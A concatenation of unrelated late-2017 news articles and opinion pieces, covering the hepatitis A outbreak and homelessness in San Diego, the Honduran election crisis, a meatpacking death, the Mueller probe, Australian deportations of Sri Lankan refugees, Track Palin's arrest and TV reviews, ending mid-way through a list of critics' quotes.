The hepatitis A vaccine is highly effective, but a majority of adults have not been inoculated. A shortage of the vaccine across the country has contributed to the difficulty of public health officials to contain the epidemic.

Currently, GlaxoSmithKline and Merck are the only two pharmaceuticals that are approved by the FDA to sell the vaccine in the US. In statements to the major news media, Merck is assuring the public they are working with the states and the CDC to shore up the shortages and ensure the vaccines are being distributed to needed regions. At the end of October, we began shipping single-dose vials for adults, which previously had been on backorder, Merck said. We anticipate the availability of adult and pediatric pre-filled syringes of the vaccine in the first quarter of 2018.

Since the introduction of the hepatitis A vaccine, there hasnt been a large outbreak such as the present one for more than 25 years. The number of reported cases in the US from 2011 to 2015 had been essentially stable, ranging from a low of 1,239 cases in 2014 and 1,781 cases in 2013. This corresponds to a rate of about 0.4 cases per 100,000. In the current epidemic, the rate in Michigan has risen to approximately 5.3 and in California 1.7 cases per 100,000. Though vaccination rates for younger people had increased over the decade since its introduction, many older adults remain unvaccinated and susceptible.

The rise in homelessness in San Diego has been sharp, as home prices have climbed making finding affordable housing extremely difficult. Tent cities in the downtown area are proliferating, leading to conditions that predispose to hepatitis A epidemics. Additionally, it is estimated that about a half a million people in San Diego are simply a missed paycheck from homelessness.

The California Budget and Policy Center reported that around 8 million Californians, 1 in 5 residents, cannot adequately support themselves and their families. California has the highest poverty rate among the 50 states specifically because of the high housing costs. Two-thirds of 2-bedroom apartments in California rent for more than $1,500 per month.

According to the Washington Post, as a result of the budget crisis that haunted the state six years ago, Governor Brown directed funds marked for low-income housing construction toward debt servicing and schools. The city lost an estimated $200 million in affordable housing funds.

In Michigan, public health officials are not sure why the particular strain of the virus is so virulent. The number of deaths and rate of hospitalizations is considerably more than would be expected for hepatitis A. Also, no common source for the outbreak has been found. The Health Department has activated what they are calling the Community Health Emergency Coordination center to assist in coordinating multiple public health jurisdictions in their prevention responses to further cases.

Michigan ranks 15th in the nation for drug overdose deaths with 20.4 deaths per 100,000. The highest rates are in West Virginia, New Hampshire and Kentucky, with 30 to 40 deaths per 100,000. Besides the current epidemic of hepatitis A, the CDC is also reporting a rise in cases of hepatitis C. The blood-borne disease is being transmitted through the sharing of needles. According to the CDC, the number of new cases of hepatitis C nationwide rose from 853 in 2010 to 2,436 in 2015. Unlike hepatitis A and B, there is no vaccine for hepatitis C.

Such epidemics should not come as a surprise where the infrastructure to ensure public health and safety are woefully lacking. A study from 2009 conducted on the cost of housing and homelessness in Los Angeles found that the typical cost for services for residents in supportive housing was $605 a month, while costs for the homeless were $2,897 per month, which included funding of shelters and emergency room visits.
A man was found dead in a bin used for clothing donations in the City Heights neighborhood of San Diego, California last Friday. Police were called to the scene around 7:15 a.m., a few blocks away from the San Diego Police Departments (SDPD) Multi-Cultural Community Relations building.

Authorities say the man was in his 40s and appeared to be homeless. Foul play was not suspected in his death and it is unclear how long he was stuck in the bin before he died. The man may have been trying to get warm clothing before he suffocated to death.

The mans name has not been released, but local news media spoke with a woman at the scene who say the man was a friend of those who lived in a nearby homeless encampment.

The donation bin where the man was discovered was marked Clothing & Shoes and was located in a shopping center parking lot one block away from the San Diego Rescue Mission, a homeless shelter.

The number of homeless deaths has increased significantly over the last several years in the city. At least 117 homeless people died on the streets of San Diego last year, according to the San Diego Rescue Mission. That number does not include those lost to the Hepatitis A outbreak, which killed 20, mostly homeless individuals. The year before there were 90 deaths on the streets of Americas finest city, and in 2014 there 56 deaths.

Some of last years casualties included a 21-year-old who overdosed on heroin and a 62-year-old who died from an accident that caused blunt force injuries to his head. Of the 117 deaths listed, 26 were in their 60s.

San Diego has the fourth largest homeless population in the United States, with an estimated 9,160 people homeless on any given night, according to a report by the Department of Housing and Urban Development (HUD). Only New York City, Los Angeles County and Seattle/ King County in Washington had larger homeless populations.

During a one-night count in January, the number of homeless actually increased by 0.7 percent to 553,742 people over the previous year. This marks the first year-over-year increase in the national homeless population since 2010. In California, the number increased by 13.7 percent to 134,278, which means out of every 10,000 Californians, 34 are homeless. In San Diego, the number increased by 5 percent.

Homelessness has largely increased due to the lack of affordable housing and little or no government assistance to prevent people from sliding into poverty. Especially on the West Coast, where rent rises faster than the average paycheck, those who face the prospect of losing shelter have little or no recourse than staying with friends or in vehicles, or on the streets.

While nationwide, the number of homeless living unsheltered in tents, cars and on the street is 35 percent, in San Diego the number is 61.6 percent. Statewide, California has the highest rate of unsheltered homeless in the US with 68.2 percent of the homeless population unsheltered.
On Sunday, both the Honduran electoral tribunal (TSE) and the Organization of American States (OAS) effectively put an end to the twisted electoral process that has followed the November 26 polls. The first made the official declaration of victory for the incumbent president, Juan Orlando Hernandez, over the Opposition Alliance against Dictatorships candidate Salvador Nasralla by a margin of 1.5 percent. He is now to be sworn in for another four-year term in January.

For its part, the OAS chief, Luis Almagro, issued the following statement: Facing the impossibility of determining a winner, the only way for the people of Honduras to be the victors is to call for new general elections.

After three weeks of scrambling for a path of least resistance, these announcements mark the beginning of a new stage in the imposition by Washington and its Honduran client state of their preferred rulers with virtually the same methods that they used in the aftermath of the 2009 military coup.

As then, they have relied on the compliance and bankruptcy of the right-wing and pseudo-left opposition forces to suppress the widespread social indignation among Honduran workers, peasants and youth.

Throughout the three weeks, including under a curfew during the first week, the armed forces have been strictly ordered to clear and violently intimidate the demonstrators, who have set up paros or road-blocks across the entire country, with at least 83 actions on Sunday in response to the TSE announcement. At least 20 civilians have been killed, 70 injured, 800 arrested and others reported missing.

The large toll suffered by protesters against the fraud is the result of two main factors: the law-and-order measures of the government and the orders by the opposition to its sympathizers to hold isolated demonstrations like road-blocks vulnerable to the attacks by the police, and to dissuade the formation of any defense committees in the targeted working class neighborhoods.

On Friday, the ex-president deposed in 2009 and leader of the alliance, Manuel Zelayaa big landowner and at one point manager of the Council of Private Enterprise (COHEP)carried out a sinister media stunt by appearing at some of the roadblocks, while constantly looking over his shoulder, and proclaiming, The people have the right to sacrifice themselves for their sons, just like Jesus Christ died for the people and the sins of others, we are willing to sacrifice ourselves so that this generation gets respected at the polls.

Honduran workers and youth need only look at recent history to know that blood should not be wasted in bringing to power any faction of a bourgeoisie willing to betray them and turn the repressive apparatus against them to defend the interests of imperialism.

Just as in the 1980s, when Honduras was a base for US counterinsurgency operations throughout Central America, and after the 2009 coup, the state forces, armed and financed by Washington, are kidnapping and murdering those leading the ongoing protests, with reports and videos of uniformed but masked officials carrying out extrajudicial murders of demonstrators and entering homes even during the daytime. Violent clashes with the police continued into late hours of Monday.

The Alliance has directed all of its appeals for a solution to the deepest political crisis in the country since the 1980s to the US State Department and the OAS, Washingtons diplomatic arm for the Americas since its foundation after World War II. When the TSE made its announcement on Sunday, the opposition candidate, the former Pepsi Honduras CEO and economic-liberal hardliner, Salvador Nasralla, was on his way to negotiate and present his evidence of fraud to the State Department and the OAS.

After the 2009 coup backed by the Obama administration resulted in mass protests in Honduras and international condemnation, the OAS came to the conclusion that it was necessary to suspend Honduras. However, the Honduran coup regime, Washington, the OAS and the National Resistance Popular Front (FNRP) signed the Pact of Cartagena in May 2011. The FNRP and its leader, Manuel Zelaya served as a reliable left flank for bourgeois politics in the country. Almost immediately, on June 1, 2011, the Honduran representatives to the OAS were welcomed back with a standing ovation.

Last Sunday, the OAS-commissioned analyst, Irfan Nooruddin, published a report on the electoral results. Among several unusual findings, he points out that, after two-thirds of the votes were computed, there was a strikingly large deviation from the earlier trend in the subsequent results in favor of the PN, a trend present in all departments that is hard to explain as pure chance. His diplomatic conclusion: I would reject the proposition that the National Party won the election legitimately.

Later that day, hoping to keep the social opposition against the Honduran coup regime and the appeals by the Alliance linked to the OAS, Almagro made his proposal for new elections. Just as in 2009, the body will seek to mediate and eventually reach a new deal between the government and the Zelaya-Nasralla faction of the bourgeoisie, while Washington and Tegucigalpa carry out a bloody suppression of the social upheavals.

The Honduran bourgeoisie, notwithstanding, backed the declaration of Hernandezs re-election on Monday, with declarations by the COHEP and the CONAFEPH, the main employers organizations offering their endorsements.

The Trump administration has made clear that, in spite of the Alliances promises to defend US business interests, it considers it vital to maintain the current and fast-tracked imposition of austerity, militarization, and dictatorial forms of rule in response to the deepening social crisis in the country. This crisis has been deepened by the deportation of tens of thousands of Hondurans from the US and Mexico, the continued stagnation in productive investments internationally and the preparations for global military conflicts.

While Washington is employing the Obama-era Alliance for Prosperity in the Northern Triangle (Guatemala, El Salvador, and Honduras) to strengthen its stranglehold over the region and protect its interests from foreign powers, namely Russia and China, and, particularly, against the working class, the weak-link in the chain appears to be Honduras.

The countrys poverty rate has increased 10 percent since the 2009 coup, making it a generalized condition for three-fourths of the population, while the number of millionaires has increased significantly. Retired and current Honduran officials refer constantly to the threat of an insurrection and civil war. In response to temporary strikes by the police forces, the government resorted to expanding its protracted purge of more than 4,000 officials since 2016 to those showing any reluctance to carry out repressive orders. On Monday morning, at least 17 police officers resigned to the Special Commission for Depuration.

At the same time, there have been reports of attacks against the main news outlets that favor the Alliance and denounce the electoral fraud, UNE TV and Radio Progreso, including threats and the destruction of their transmission antennas and optical fiber cable networks. Several reporters of Radio Progreso had already been given special protection by the Inter-American Commission for Human Rights given threats after the 2009 coup and the murder of one of the stations managers in 2014.

The pseudo-left organizations that work within or in the orbit of the FNRP, including the Morenoite Socialist Workers Party (PST), Socialism or Barbarism, and the Central American Socialist Party (PSOCA), have all closed ranks behind Nasralla, calling for a national civic strike to defend the coming to power of the Alliance. Their politics reflect the interests of layers of the upper middle class of academics, trade union officials and state bureaucrats, whose main fear is that their privileges will be threatened by a working class movement independent of the bourgeois political establishment.

Resistance to the current offensive by the ruling class requires the development of an independent movement of the working class, forming workers and defense committees in their neighborhoods and workplaces to formulate their demands and tasks based on an international socialist program.
Very little information has been released about the circumstances of the tragic death of Samuel Martinez, 62, a worker whose leg was ground in an augur at the Fresh Mark meatpacking plant in Canton, Ohio, Saturday. The Guatemala native was pronounced dead at the scene.

The death of Martinez is a particularly gruesome example of the terrible, daily toll of workplace death and injury in America. As in virtually all such cases, these deaths are dealt with in a perfunctory manner by the corporate media, which seeks to obscure the social roots of these tragedies.

According to an investigator for the coroners office, Martinez leg was caught in a waste augur. The companys response was to issue a perfunctory statement and insist it would cooperate with investigators. The World Socialist Web Site was not able to get through to the official management spokesperson for Fresh Mark.

A spokesperson for United Food and Commercial Workers (UFCW) Local 17A, the union at Fresh Mark, told the WSWS that Martinez was only recently employed at the Canton facility and had children. He also had other relatives employed at the plant, with an extended family in Guatemala, who were being contacted about the death. A date for a memorial service has not yet been set.

The Local 17A official indicated that representatives for the Occupational Safety and Health Administration (OSHA) were investigating the accident and had ordered a shutdown of that part of the facility where the death took place. The official also said investigators were interested in the possible presence of cameras at the worksite that may have recorded the incident.

The Canton Police Department told the WSWS that its report on the accident has not yet been released.

The Fresh Mark plant has a history of unsafe conditions, including the 2011 electrocution of Guatemala native Marcos Perez-Velasquez, age 20. He had been employed at the plant for 18 months and had two brothers also working at the facility.

According to the company web site, Fresh Mark, doing business as Sugardale Foods, Sugardale Foods Service and Superiors Brand Meats, has been in business about 100 years and produces bacon, ham, hot dogs and deli meats. The company is privately held, with annual sales reportedly in excess of $1 billion.

Nothing can be expected from the official investigation being carried out by OSHA in collaboration with Fresh Mark management and the UFCW. There is a long history of these charades aimed at blaming workers for their own deaths and exonerating management.

Meatpacking remains one of the most hazardous occupations in the US. According to a 2014 report in the Guardian , Statistically, people who work at any meat-packing plant for five years have a nearly 50-50 chance of suffering a serious injury.

The industry relies heavily on super-exploited immigrant labor, held in check by the unions and supplemented by the terror of Immigration and Customs Enforcement.

Overall, the Bureau of Labor Statistics reports that injury and illness rates for the meat packing industry are 2.5 times higher than the national average. The number of injuries requiring work restrictions or involving days off from work is three times higher than for industry as a whole.

A report issued last month by the Government Accountability Office (GAO) criticized the federal Occupational Safety and Health Administration for not doing enough to protect the health and safety of meatpacking workers. Many incidents are going unreported to OSHA because of fear by workers of management retaliation.

Among the dangers faced by meatpacking workers, the report cites amputation, lacerations from cutting machines, exhaustion, fatigue and food-borne illness.

According to the statistics compiled by the GAO, meatpacking in 2015 had the eighth highest number of severe injury reports of all industries. There were some 481,000 workers employed in meatpacking last year at 5,282 meat and poultry plants throughout the country. However, OSHA carried out just 244 inspections last year and state safety inspectors carried out another 212. That means that a typical meatpacking plant could expect a safety inspection less than once every 10 years.

On top of that, the GAO documents the fact that widespread intimidation in the meatpacking plants, especially relating to immigrant workers, discourages the reporting of unsafe conditions.

According to the report, Workers we interviewed in four states said they fear dismissal or other punishment if they complain to OSHA or their state OSH agency about their workplace concerns, such as sustaining injuries or being discouraged from using the bathroom. We reported in 2016 that meat and poultry worker vulnerability may hinder reporting of work-related illnesses and injuries, according to federal officials and worker advocacy groups. In particular, these officials and advocates said that some meat and poultry workers may be less likely to report or seek treatment for injuries and illnesses because of their vulnerable status as undocumented or foreign-born workers and because of their economic vulnerability.

The GAO reported, One worker we interviewed said that she experienced severe pain in her wrist and visited the on-site medical unit over the course of three months before they referred her to a doctor affiliated with the plant, during which time she continued to work. When the doctor did not find any problems on her X-ray, she went to a doctor unaffiliated with the plant, who found a bone fracture.

Another major concern raised by the GAO was access of workers to proper medical treatment. The GAO noted that, In a 2015 hazard alert letter to a poultry plant, OSHA noted that it appeared the plant used its first aid station to prevent injuries from appearing on the plants OSHA log, such as by failing to refer workers to a physician for evaluation or treatment when appropriate. In addition, OSHA noted that a number of workers were fired after suffering MSDs, (Musculoskeletal Disorder) sometimes on the same day of the MSD occurrence, and further noted workers fears of being fired for visiting the first aid station. However far from issuing a citation, OSHA recommended voluntary improvements to the plants medical management practices.

The report noted that state and federal regulators have no control over line speeds in meat processing plants, which is a major safety issue. The GAO reports, High line speeds may exacerbate existing hazards that can cause musculoskeletal disorders (MSD). OSHA and National Institute for Occupational Safety and Health officials told us that line speedin connection with forceful exertions, awkward postures and other factorsaffects the risk of MSDs.

Under these conditions more tragedies like the death of Martinez are virtually inevitable. The WSWS will continue to expose the truth about these deadly conditions and encourages our readers to provide information or personal experiences.
On Sunday, President Donald Trump continued to deny suggestions that he is about to fire Special Counsel Robert Mueller in an effort to shut down the Justice Department investigation into allegations of Russian government intervention in the 2016 elections and Trump campaign collusion with Moscow.

In response to shouted questions from the press as he returned from a weekend at Camp David, Trump said he had no plans to fire Mueller because there was no collusion whatsoever between his campaign and Russia, and therefore the Justice Department probe would inevitably exonerate him.

Top White House officials repeated these assurances in appearances on several Sunday television interview programs. Both Treasury Secretary Steven Mnuchin and White House legislative director Marc Short flatly denied that there was any discussion of firing Mueller, while both carefully noted that the president retained the power to do so at his discretion.

Muellers investigation has been the target of furious attacks for the past week by right-wing media outlets, including the Wall Street Journal, Breitbart News and Fox News, with increasingly strident denunciations and demands for Muellers ouster.

The tone was set by Jeannine Pirro, a former municipal judge who hosts a Fox News program. She demanded not merely the removal of Mueller, but the imprisonment of FBI officials for alleged political crimes against the president. The only thing that remains is whether we have the fortitude to not just fire these people immediately, but to take them out in cuffs, she said during a Saturday night broadcast.

Another Fox News host, Jesse Watters, declared that we may now have proof the investigation was weaponized to destroy his presidency for partisan political purposes and to disenfranchise millions of American voters. He concluded, Now, if thats true, we have a coup on our hands in America.

Congressional Democrats fired back in a series of statements beginning Friday, when Representative Jackie Speier told a local television station in California, I believe that the president wants all of this shut down. He wants to shut down these investigations and he wants to fire special counsel Mueller.

Speier said there was a widespread rumor that Trump might fire Mueller as soon as Congress begins its year-end recess this Friday, timing the action for the holiday period in order to minimize the legislative and popular response.

Democratic Party-linked groups were said to be preparing for nationwide protests against such an actiona revealing glimpse of the real priorities of the Democratic Party, which has organized no such protests against the Republican tax cut for the wealthy, the expiration of the CHIP health insurance program for poor children, or the impending mass roundups of young immigrants temporarily protected under the DACA program, which Trump has shut down.

Representative Adam Schiff, the top Democrat on the House Intelligence Committee, warned that House Republicans were preparing to shut down all inquiries into alleged Russian interference in the 2016 election in tandem with a Trump firing of Mueller. He noted that the intelligence panel has not scheduled any witnesses for beyond this week.

Schiff pointed to the refusal of Trumps son, Donald Trump Jr., to answer a question about discussions with his father on how to handle press reports of a June 2016 meeting with a Russian delegation at Trump Tower. The younger Trump claimed attorney-client privilege, although neither he nor his father are attorneys.

The latest stage in the political warfare surrounding the Russia investigation has centered on two batches of emails. Last week, the FBI released emails exchanged between Peter Strzok, a top FBI counterintelligence official, and FBI lawyer Lisa Page in 2015 and 2016.

The two, then engaged in an extramarital affair, made disparaging comments about Trump (and Bernie Sanders) and indicated sympathy for the Hillary Clinton campaign. Strzok played a role in the investigation into Clintons use of a private email server and then both he and Page worked for Muellers investigative team, until the emails came to light last summer and Strzok was transferred out (Page had previously left the probe).

The release of these emails became a cause celebre with congressional Republicans and Fox News, which presented them as proof that the Mueller probe was infected with partisan political bias against Trump.

A second uproar was raised on Saturday when the attorney for the Trump transition organization, Trump for America, which conducted activities to prepare the incoming Trump administration between Election Day and the inauguration, sent a letter to four congressional committees Saturday charging that Mueller had improperly acquired tens of thousands of emails from the transition team.

The emails were retained by the General Services Administration, the government agency that provides infrastructure and communications services during a presidential transition. GSA officials turned the emails over wholesale to Mueller after his investigation sought access.

The letter from Kory Langhofer, the Trump for America attorney, makes a number of self-contradictory claims, calling the emails private property while at the same time asserting various forms of privilege that would only apply to communications within the executive branch, and which Trump administration officials have not themselves asserted in response to document requests from Mueller.

Langhofers claims were added to volleys fired at Mueller by the ultra-right media as evidence of overreach and Gestapo tactics by the special prosecutor. There is, of course, ample irony in pro-fascist media outlets like Breitbart complaining of such methods on the part of the government.

The entire furor may have been instigated by the White House as part of an effort to put maximum pressure on Mueller to rein in his investigation and bring it to a conclusion. Trumps private lawyers and representatives of Mueller are to meet this week to discuss the further course of the investigation.

The most revealing aspect of the current fulminations, however, is the role of the Democratic Party, which entered into the Russia investigation in tandem with the military/intelligence agencies, which opposed suggestions by Trump of a softening of the hard line against Russia initiated by the Obama administration during its second term.

The private emails between the two high level FBI officials, Strzok and Page, confirms what has long been evident: that Clinton had the overwhelming support of senior officials in the military-intelligence apparatus, who regarded Trump as an unstable and potentially dangerous wielder of the powers of the commander-in-chief.

In response to the ultra-right hysteria over FBI political bias against Trump, congressional Democrats have embraced this notorious instrument of repression and political spying as a bastion of democracy. At a meeting of the House Judiciary Committee, where Republicans grilled Deputy Attorney General Rod Rosenstein over the Strzok-Page emails, one Democrat after another jumped to the defense of the FBI.

The senior Democrat on the committee, Jerrold Nadler of New York, called the Republican attacks on the FBI wildly dangerous to American institutions. Representative Eric Swalwell, Democrat of California, said it was sickening to listen to Republicans smear the FBI.

Democrat Chris Coons, a member of the Senate Judiciary Committee, issued an email statement declaring, The men and women of the FBI are among the most professional and committed public servants in our nation, adding that they serve all of us.
PM Welcomes Georgian Patriarchates Offer to Engage Students

By Gvantsa Gabekhadze

(TBILISI) -- Georgias Prime Minister Giorgi Kvirikashvili welcomed an offer by the Patriarchate of Georgia to take a more active role in the countrys public education system.The Patriarchates declaration that it is ready to contribute to the upbringing of the young generation came after a fatal schoolyard clash between teenage students that claimed the lives of two 16-year-old boys.Kvirikashvili heaped praise on the church for its decision to weigh in on the matter saying, I have spoken about it in the past and I would like to reiterate that our Church is the keeper and savior of our national identity and the driving force behind our country's spirituality.The move by the Orthodox Church is likely to court controversy, as the powerful ecumenical body continues to spread its influence in areas that are bastions of secular norms.The countrys opposition political parties and civil society activists have increasingly called for more checks and balances on the creeping influence of the Patriarchate on most key sectors of society.
According to Colombo Page, an online news site, the Australian government repatriated 29 asylum-seekers to Sri Lanka last Thursday. The group had reportedly arrived on a boat the previous day near Learmonth Beach on the northern coast of Western Australia.

The incident is the latest example of the criminal policy, introduced by the previous Labor government, of forcibly expelling Sri Lankan refugees from Australia, without even the pretense of considering their claim to asylum.

Successive governments, Labor and Liberal-National, have continued the policy in defiance of warnings by the UN and humanitarian organisations that Sri Lankan refugees, who are often from the Tamil minority, face imprisonment, persecution and torture at the hands of the Colombo government.

The 29 refugees were reportedly from the southern Sri Lankan towns of Matara, Hambantota, Hakmana and Tangalle. They included two children, aged 12 and 15 years old, who were travelling with their father and uncle. The group was apparently arrested by Australian Border Force officers on arrival, then placed on a chartered flight to Colombo the following day.

A spokesperson for Immigration Minister, Peter Dutton, told the Australian newspaper that they could not comment on the plight of the group, or even confirm that they had arrived in Australia.

The spokesperson cited the governments policy of not commenting on operational matters relating to the actions of border force and naval personnel, on the grounds that the interception of asylum-seekers is a matter of national security. This means that the number of refugees attempting to arrive in Australia, their treatment by the authorities and subsequent plight, is treated as a state secret, and hidden from the population.

Significantly, the deportation of the refugees occurred the same day that the UN committee against torture requested that the Australian government halt the scheduled deportation of a Tamil refugee facing imminent removal to Sri Lanka.

The refugees lawyer, Alison Battisson, had warned that the asylum-seeker faced the prospect of a range of torture practices, including rape, if deported. The Sri Lankan government alleges that he had assisted the separatist Liberation Tigers of Tamil Eelam (LTTE).

Sri Lankas decades-long civil war formally ended in 2009, with the government and the military defeating the LTTE. At the conclusion of the conflict, and in subsequent years, the military carried out mass roundups of Tamils and political opponents, along with extrajudicial killings and widespread torture.

In the 2015 elections, the government of President Mahinda Rajapakse, which prosecuted the war, was ousted in a US-backed regime-change operation aimed at curtailing growing Chinese influence in the country.

Despite its attempts to don a democratic mask, the new government of President Maithripala Sirisena has maintained a virtual police-military occupation of war-ravaged sections of eastern and northern Sri Lanka, and has continued the persecution of Tamils.

Faced with a deepening political crisis this year, the government has deployed the military against striking workers and has promoted communal hostilities towards the islands Tamil and Muslim minorities.

Last month, Associated Press (AP) published an investigative report, based on the medical and psychological evaluation of 50 Tamil refugees in Europe, and interviews with them. The men said that prior to fleeing the country, they had been subjected to horrific abuse by the Sri Lankan authorities, who accused them of being Tamil militants.

One man told AP he had been kidnapped by five security personnel, and taken to a torture room equipped with ropes, iron rods, a bench and buckets of water and with blood on the wall. Another said he was held for 21 days in a small dank room where he was raped 12 times, burned with cigarettes, beaten with iron rods and hung upside-down.

The abuses documented by AP occurred between early 2016, and mid-2017. The reports tallied with the interim findings of a UN Working Group on arbitrary detention, released Friday, which noted numerous allegations of harassment, intimidation and threats against Tamils and their advocates, along with ill-treatment and torture to extract confessions.

In September, the Australian High Court heard the appeals of two Sri Lankan asylum-seekers against their imminent deportation to Sri Lanka. The former Greens-backed Labor government of Julia Gillard in 2012 began the process of removing over 650 Sri Lankan refugees to Colombo, and denying them the right to seek asylum.

The High Court upheld the policy, which is a violation of international law, despite the sitting judges conceding that the two refugees could face imprisonment on return, and appalling conditions, including torture, maltreatment and violence. The court noted that all Sri Lankan refugees deported from Australia since November 2012 had been arrested, held on remand and charged under the countrys immigration legislation.

The persecution of Sri Lankan refugees is one aspect of a brutal border protection program defended by the entire official political establishment. This has included consigning hundreds of refugees who arrived in Australia by boat to concentration camps in the Pacific Islands, another policy reintroduced by Labor.

Last month, the Australian government closed its refugee detention centre on Manus Island in Papua New Guinea (PNG), because that countrys supreme court ruled that their confinement was unconstitutional. Despite their protests, the refugees were deprived of food and water and forced to leave the camp to unsafe alternative accommodation.

The Australian governments close collaboration with Colombo, against Sri Lankan refugees, is also bound up with geopolitics. The US and Australia view Sri Lanka as strategically critical to their aggressive policies in the Indo-Pacific region, including preparations for war against North Korea and China.

Successive Australian governments have directly enabled the crimes of the Sri Lankan authorities. In a program initiated by the Rudd and Gillard Labor governments, the Australian Federal Police trained and equipped Sri Lankas Criminal Investigation Department, a unit notorious for torture and political kidnappings.

During a Sri Lankan visit in November to celebrate 70 years of bilateral relations between the two countries, Australian Prime Minister Malcolm Turnbull signalled even closer collaboration in the persecution of Tamil refugees, and opponents of the Colombo regime. Turnbull declared his commitment to our work together to combat trans-national crime, particularly people-smugglingthe derogatory term used to refer to refugees attempting to flee by boat.
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Track Palin

Track Palin was arrested over the weekend for allegedly breaking into his parents home in Wasilla, Alaska, and assaulting his father, Todd Palin. Now it turns out that Tracks mother, former Alaska Gov. Sarah Palin, was the one who called police to report the incident.

Sarah Palin called local police at around 8:30 p.m. on Saturday night to report that her son Track, 28, was freaking out and was on some type of medication, the Anchorage Daily News reported Monday, citing a sworn affidavit filed in court by Wasilla officer Adam LaPointe.

The affidavit said that Track came to the house to confront his father over a disagreement involving a truck. Todd Palin told his son not to come because he knew that Track had been drinking and taking pain medication.

Track told him he was (going to) come anyway to beat his ass, LaPointe wrote, according to the affidavit obtained by the Anchorage Daily News.

Todd Palin said he retrieved a pistol to protect his family and met his son at the front door. Track then allegedly broke in through a window, tackled his father to the ground and began hitting him in the head, according to the affidavit. After suffering injuries to his face and head, Todd Palin escaped and left the home. He was bleeding from several cuts on his head and had liquid coming from his ear, the officer said in the document.

As police arrived, they saw Todd and a visibly upset Sarah Palin leaving their home in two separate vehicles. Officers had some difficulties coaxing Track out of the home, but ultimately they handcuffed him without incident.

According to the affidavit, Track told the officer hed had a few beers and gotten into a fight with his father about a vehicle and there had been threats made between them.

Track was arrested on domestic violence charges of felony first-degree burglary and misdemeanor criminal mischief and fourth-degree assault, the Anchorage Daily News reported. As of Monday morning, he was still in police custody.

At the time of his arrest, Track was serving two years of probation on a plea deal stemming from a domestic violence arrest in January 2016, when he allegedly assaulted his then-girlfriend and pointed a gun at her.
Claire Foy and Matt Smith return for the second season of Netflix's acclaimed series "The Crown," which will also be the last season this duo stars in as they are passing on their crowns to the new cast for season 3.

The cast stopped by BUILD Studios, to discuss their last season on the show and shared insights into their growth as actors, as well as discussed their synergy on set. British beauty Claire Foy, won a Golden Globe last year for her performance as Queen Elizabeth, was also nominated for an Emmy this year. Though critics weren't surprised by her being recognized, Foy herself modestly downplayed her performance.

"I'd have been sort of crazy to expect it," she said of being nominated.

When asked about playing the Queen of England, Claire stated how Elizabeth is a genuinely very good, down-to-earth person and the idea was to show a personal side of her that can't really be learned from historical facts alone. The cast went on to say how the biggest thing they will miss about working on the series is how everybody was purely doing the show to make something really great, believable and heartfelt, and not solely to make money.

Season 2 begins at a low-point in the monarch's marriage. The cast did an exquisite job at making the relationship between Elizabeth and Philip seem authentic and relatable, as the actors tried to dismiss to what history has been feeding everyone about who the royals are.

When asked by an audience member whether Claire thought the script did history justice, she said, "You know what the history is, you can go on Wikipedia and look at all the dates, facts and figures. Peter is not saying, 'This is what happens, what do you think happened?' He is saying, 'This is what I think these people may have felt,' and I think that's the amazing thing, you get to look back at history and sit and think for a bit how people felt about it."

How does the show relate to the current day, one month after Prince Harry and Meghan Markle announced their historic engagement? Well, it definitely shows how monarchy is willing to evolve and will thrive and survive because it is willing to change and listen to the people.

Season 2 of "The Crown" is streaming on Netflix now. Happy binging, folks!
Watch highlights from A Christmas Story Live on Yahoo View.

The joke was right there  and a totally cheap shot  but critics clearly pulled the triggers of their Red Ryder BB guns and shot out the eye of A Christmas Story Live, which aired Sunday night. In fact many outlets, including USA Today, AV Club and the Washington Post, cribbed versions of the the famous quote for tongue-and-cheek headlines.

Foxs latest live TV musical came in as the lowest-rated across all networks so far (1.5 ratings/5 share and 4.48 million viewers) and was ripped apart in reviews that were quick to compare it to its beloved source material, the 1983 Bob Clark classic of the same name (minus the Live! bit), which, was in turn, based on the cherished Jean Shepherd memoir. While writers conceded it covered every important part of the film, it didnt deliver it in the same package  in fact, it might have been presented a little too perfectly.

Critics noted there were few missteps in the televised-production, which many thought made it less interesting than a usual live event. The performances of the main cast (Andy Walken as Young Ralphie, Chris Diamantopoulos as his old man and Maya Rudloph as his mother), were generally received favorably. However, more shoutouts went to the roles filled by familiar faces like Ana Gasteyer (Schwartzs mom), Jane Krakowski (Mrs. Shields), Ken Jeong (a Christmas tree salesman and Chinese food restaurant owner), Fred Armisen (an angry department store elf) and David Alan Grier (a more annoyed department store Santa).

Also Read:Live TV Musicals Ranked by Ratings, From 'Sound of Music' to 'A Christmas Story' (Photos)

But no one seemed to be thrilled with Matthew Brodericks Adult Ralphie creeping around stage during his narration. The special live commercial for The Greatest Showman even got special (negative) shoutouts in many a review.

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Fox still boasts a smash hit in 2016s Grease, but even that live musicals director, Alex Rudzinski, didnt seem capable of pleasing a crowd of reviewers looking for a program that would give them the exact feels the cult classic does.

Read the five most scathing reviews below.

Also Read:Ratings: 'Sunday Night Football' (and Everything Else) Tramples 'A Christmas Story Live'

Robert Lloyd, Los Angeles Times:

And they were diluted again by its expansion into three hours of commercial-filled television, beginning with a perfectly irrelevant prologue in which Bebe Rexha performed a new work of ready-to-stream, pitch-corrected pop, Come on Christmas. The white background upon which it was set had the look of a Target ad. (Target was not a sponsor, but Old Navy, which was, got its name on a store in the backlot downtown.) There was also a live commercial, also shot on the Warner lot, in which Hugh Jackman and a cast of dozens pitched his new movie, The Greatest Showman.'

Noel Murray, New York Times:

But there was a certain crackle missing throughout the three-hour show. Aside from Mr. Diamantopoulos and Ms. Rudolph sweetly covering for her stumbling over a line, A Christmas Story Live! lacked the feeling of a piece of theater unfolding in front of the audiences eyes in real time, like a slick magic trick.

Darren Franich, Entertainment Weekly:

I would never accuse A Christmas Story of having a point. Its too clever for that. Back in those days, your parents didnt say I love you very often, was how Matthew Broderick began the long speech near the end of Foxs three-hour A Christmas Story Live!, the content of which speech ultimately landed on the profound explicit assertion that parents did love their children after all. I cringed a bit, but the whole musical was like that. Any subtle moment got blown out to glam showstopperhood, and the camera close-ups caught neo-Ralphie Andy Walken singing like he had murder in his eyes, and at long last we found out what Schwartzs mom is like.

Also Read:'A Christmas Story Live' Delivers Lump of Coal to Fox in Early TV Ratings

Kelly Lawler, USA Today:

The added songs were too sugary sweet for the irreverent story, and as a whole package, it felt tonally dissonant and a little dull. The production tried to gloss over some of the more dated aspects of the narrative, set in the 1940s, with awkward results.

Hank Stuever, Washington Post:

